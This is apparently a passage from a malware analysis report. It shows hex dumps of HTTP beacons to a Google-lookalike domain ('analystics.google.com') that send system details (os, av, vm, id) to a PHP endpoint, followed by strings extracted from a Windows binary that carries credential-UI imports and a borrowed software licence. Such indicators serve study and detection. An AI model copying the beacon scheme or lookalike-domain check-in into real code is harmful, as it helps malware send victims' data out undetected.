0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f6d79 41794e34 61527866 65204854   lomyAyN4aRxfe HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f7347 45776b77 6b664e71 4b204854   losGEwkwkfNqK HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....


Strings
P.rsrcVuritorlatratce
\
.CC
 
Z
"3
..
A
.
h.
.P
.

                                 H
         (((((                  H
         h((((                  H
kernel32.dll
KERNEL32.DLL
mscoree.dll
oICON1
@"#Qb
YANDEX	SEARCHENG
                          
@@@\&&&
$+/<!*
%%%%%!'
%%%%%$
	)*#(<
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
0A@@Ju
<0FML)=
0hX!j:5
0SSSSS
1CtWF%
 1I]cT
1M)01)X	
1WY]zP"
%%2axE
2jE0kI
%)30>b
3s]q;n
48-Iqv
49"dOQ
4d2.7g
4IMj0h
4rRwPx
510'"|
-5128~
[5\7KgN
+6a/0ONXc
6<cY1/
6~-JYH
7[2Y%v~(
7~*67~#
7dh1aw
([7q5"<
.@87oB4
8,9Zyu
#&8F`N
?/8)jk
"8LaA6
8Q=RAi
`8~Rr1
94<Mjzo
9c|ahmJCq
9Kd;DlK
>>AA===Y]
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
ADMQCFZQ
A;<J*.
aJ,~%2
A{L&CW
aMmDfimJ
AmMdFIMj
aMmDfimJEv
An application has made an attempt to load the C runtime library incorrectly.
"As >sr}
- Attempt to initialize the CRT more than once.
- Attempt to use MSIL code from this assembly during native code initialization
August
aXxOQQ
b;2?<p
%b({;4
BbK~ltE
BeginPaint
b	G(dM
BHV@{ w
Bh]zJf
bJjhv3
@|@bL5
bMl@M,
BMRU-3
B\OYAQ
BpGSlQ
braQWS
BRmJCH
B<TUDI[kq
B\ysA]
c	-*@(
!:c(2t
:c,)-3
>>CAAGGF
CCC\HHH@EEE+<<<
c^dDGG
cgg@JL
c	j*F(
c$$$O...B4444555#000
CorExitProcess
cr6Qya
credui.dll
CredUIParseUserNameA
- CRT not initialized
c	-*W(
?~.cY)
@.data
dbKANz
dc/Y=PP
DD7b==
dddd, MMMM dd, yyyy
December
DecodePointer
DefWindowProcA
DeleteCriticalSection
DISCLAIMER OF WARRANTY. THE SOFTWARE, AND ANY SERVICES THAT YOU RECEIVE FROM WHOLE TOMATO ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. WHOLE TOMATO HEREBY DISCLAIMS ALL EXPRESS OR IMPLIED WARRANTIES, INCLUDING WITHOUT LIMITATION WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS AGREEMENT. SOME STATES DO NOT ALLOW EXCLUSIONS OF AN IMPLIED WARRANTY, SO THIS DISCLAIMER MAY NOT APPLY TO YOU AND YOU MAY HAVE OTHER LEGAL RIGHTS THAT VARY FROM STATE TO STATE OR BY JURISDICTION. 
DOMAIN error
/dQxse
Dv)a ]
\D-/VS
\D+/VS
dw$(}d
E1'dd 
_E>)4 
EHAYfk
EjMm0#
E,M@lF
EncodePointer
EnterCriticalSection
eq~hVY
ExitProcess
EXPORT CONTROLS. You shall comply with all export laws and restrictions and regulations of the Department of Commerce, the United States Department of Treasury Office of Foreign Assets Control ("OFAC"), or other United States or foreign agency or authority, and not to export, or allow the export or re-export of the Software in violation of any such restrictions, laws or regulations (including, without limitation, export or re-export to destinations prohibited either in Country Groups Q, S, W, Y or Z country specified in the then current Supplement No. 1 to Section 770 of the U.S. Export Administration Regulations (or any successor supplement or regulations), or the OFAC regulations found at 31 C.F.R. 500 et seq.). By installing or using the Software, you are agreeing to the foregoing and you are representing and warranting that you are not located in, under the control of, or a national or resident of any restricted country or on any such list. 
:=f8nw
FCEJZZx|
February
fimJCH
FiMJcH
FIMjch
fimJcMD
fIMjfh
*FIo*c
- floating point support not loaded
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
FreeEnvironmentStringsA
FreeEnvironmentStringsW
Friday
f!sS$M
%Fwq)M
FyNZBx
&G6j#(&
*g-B8@
GetACP
GetActiveWindow
GetClientRect
GetCommandLineA
GetCPInfo
GetCurrentProcess
GetCurrentProcessId
GetCurrentThreadId
GetEnvironmentStrings
GetEnvironmentStringsW
GetFileType
GetLastActivePopup
GetLastError
GetLocaleInfoA
GetModuleFileNameA
GetModuleHandleW
GetOEMCP
GetProcAddress
GetProcessWindowStation
GetStartupInfoA
GetStdHandle
GetStringTypeA
GetStringTypeW
GetSystemMetrics
GetSystemTimeAsFileTime
GetTickCount
GetUserDefaultLangID
GetUserObjectInformationA
GetVersion
G#?iRr[nLuU\+
'$[Giyc
gLGvNh3q
gmMdFIMj
G	}*Q(
GqPvWl
g	t*#(
~g( Z2
g?.zF5
h0O:WM
&hC1Kh
Hc3eS>
HeapAlloc
HeapCreate
HeapFree
HeapReAlloc
HeapSize
h'H5) 
HH:mm:ss
HPyd<?
H|T_F]
hXM{	y
Hy_cua
I28*MG
I8( ;N
ifHHeJJZZ[[{|
^I`g~CFQ^^
,I'j	h
*Ijl,!g
~#IK"H
InitializeCriticalSectionAndSpinCount
InterlockedDecrement
InterlockedIncrement
i;;R&)-b
/iR r?
#?iRr[nL
IsDebuggerPresent
IsValidCodePage
(=i=u+
JanFebMarAprMayJunJulAugSepOctNovDec
January
JEAf(Wb
JflNoA
Jj}I7+
j@j ^V
Jq}'tn*
+;~ju~-e
Jv-J_W
J}X^/\
]]]JXXX0XXX
JZYx`i
KERNEL32.dll
"KhfbE
@kIJCd
kimJvH
kl`MUo
(k%	~U
kZ_3B+s9
^l8Z[e
L|a*i]
Last modified: May
LCMapStringA
LCMapStringW
LeaveCriticalSection
LF^r(7l%
LI`jCh
LIMITATION OF LIABILITY. You assume the entire risk as to the quality and performance of the Software. Whole Tomato assumes no liability for the cost of any service or repair if the Software is defective 
lltWmw
l<MO*.A
L*MZk\T
LoadIconW
LoadLibraryA
LoadStringW
loghVn
}_!!Lp4(:V
lstrcmpiA
L*YaB>
LY+p0 
m}1	bSZ 
m9L`9M
Md[	FP3og88.T
MessageBoxA
mGE:Ghh
Microsoft Visual C++ Runtime Library
;MlU4[
MM/dd/yy
Monday
mpX<WkTq
MultiByteToWideChar
N@Aofn
NbBk=<
N=GFh!
n	@@'h
nHnUl`O
NJAi3K
nK3fPg
nnnSlll3vvv
- not enough space for arguments
- not enough space for environment
- not enough space for locale information
- not enough space for lowio initialization
- not enough space for _onexit/atexit table
- not enough space for stdio initialization
- not enough space for thread data
November
NpWSOQ
/Nr91@
?nRr[6
~nvSCWaa$
nZayS{
/oBbKQ
Ob(h^o
October
OF]]]\\
oftware). 
Ol<~	9n
&oP-(:T
o<<#u%
OY1.7F
P}}}}}}}}}}
p]c1C&
p	d*Q(
Pfq)v 
pFZZfq<9;
%pgSz[*
?PhmJ+
PIHIcV:9L
Please contact the application's support team for more information.
%Pm*B6_
PMI;<G&
$P+P\b
PPPPPPPP
PPPPPPPPPPPPP
Program: 
<program name unknown>
@P-&[s
PS_f~F>EMk
PU1`2Y
- pure virtual function call
Qe{ffJJJ[e{
q\I_KQ
qIzjNh
+Q%[NQ|
+Qq	2M'eT\
qqq	@@@
QRS\,`
+QtLgd(}d
q]}Tvy}Z
Q}]tVY]z
QueryPerformanceCounter
QWRTggitz
\R1@XS
R:)7#)
r`bDeA
rcgb6yN
rD-4[h
.rdata
rEmfoD
Re~yF\
RHY`w<
RjPK61S
"<rlf.i
r	`*S(
RtlUnwind
Ruddp|
runtime error 
Runtime Error!
;=rwC" tW
 S3Ai#
S|9&*g9m
Saturday
September
SetHandleCount
SetLastError
SetUnhandledExceptionFilter
s'ilJCH
SING error
SiRjFH
SiZJvH
SnnW/G
'sNUSu|
=SOFTu
SOFTWARE LICENSE AGREEMENT
srNYZ}
^__SSe
Sunday
SunMonTueWedThuFriSat
S}uu<kcc%XTT
SZIuAA
T%:!;)-
t.111stt
TDDdb|
TEMQ^cc
TerminateProcess
TERMINATION. Whole Tomato may, at its sole discretion, terminate this Agreement, the license granted herein, and your right to use or access the Software at any time. On termination, you must destroy all copies of the Software. 
This application has requested the Runtime to terminate it in an unusual way.
This indicates a bug in your application.
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
!This program cannot be run in DOS mode.
thR{%m
Thursday
< tK<	tG
TLOSS error
TlsAlloc
TlsFree
TlsGetValue
TlsSetValue
t"SS9]
t$<"u	3
Tuesday
;t$,v-
t+WWVPV
TzDddd
tzylJD
	TZ,=ZG-
u|0BC(/7	
U	-*F(
UFC=M:Mjo
UFK~ti
- unable to initialize heap
- unable to open console device
UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, TORT, CONTRACT, STRICT LIABILITY, OR OTHERWISE, SHALL WHOLE TOMATO OR ITS LICENSORS, SUPPLIERS OR RESELLERS BE LIABLE TO YOU OR ANY OTHER PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOST PROFITS, LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES. IN NO EVENT WILL WHOLE TOMATO BE LIABLE FOR ANY DAMAGES IN EXCESS OF WHOLE TOMATO'S LIST PRICE FOR A LICENSE TO THE SOFTWARE, EVEN IF WHOLE TOMATO SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES, OR FOR ANY CLAIM BY ANY OTHER PARTY. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. FURTHERMORE, SOME STATES DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS LIMITATION AND EXCLUSION MAY NOT APPLY TO YOU. 
- unexpected heap error
- unexpected multithread lock error
UnhandledExceptionFilter
UQPXY]Y[
~	U@RFK
URPQQh`X@
USER32.dll
USER32.DLL
US|:G-9
:::	UUU
u\x{+$
%uy]gh
V]7~7|
Vb|hfx
VBNetStudio
Vchci_l
Vi]J{H
VI]jsh
VirtualAlloc
VirtualFree
|vJ'fV
v	N+D$
vy}Z0x
VY]z[1}
vy}Z~r
vy}Zsx
Vy]ZSx
vy}Z<x
vy}Z!x
Wednesday
;Wg"97
WideCharToMultiByte
wiiym^^cMBBKA666"
WIMj1h
 WK|sg
(W\L|'L
w}~?}n3
WriteFile
??x2s.
XN~u6 
xvvwvwx
[X\X\Q
XXTX\Q
?y1Z^x
y`9T\W
Y<Ayqs
 yd@)-
_:yG8jn;
yGJU_h
YIk0xK3'h
[yIZKx
yMm|femJC{
y=n4oO+
|yPZSx
>=Yt1j
yTO-Om-
YvrZS[
{y}Z0x
yz Z	*L
**=Z'+
zAKy}e@7i2
	zedl&8
Z(-EV#
,z\f;,
ZI8%?,
ZIMjch
#$=ZPF
ZqH3~'
|}Zsxj@
ztsU#)
ztsUci
ztsUcI
ZTSuCI
zuqV8Gr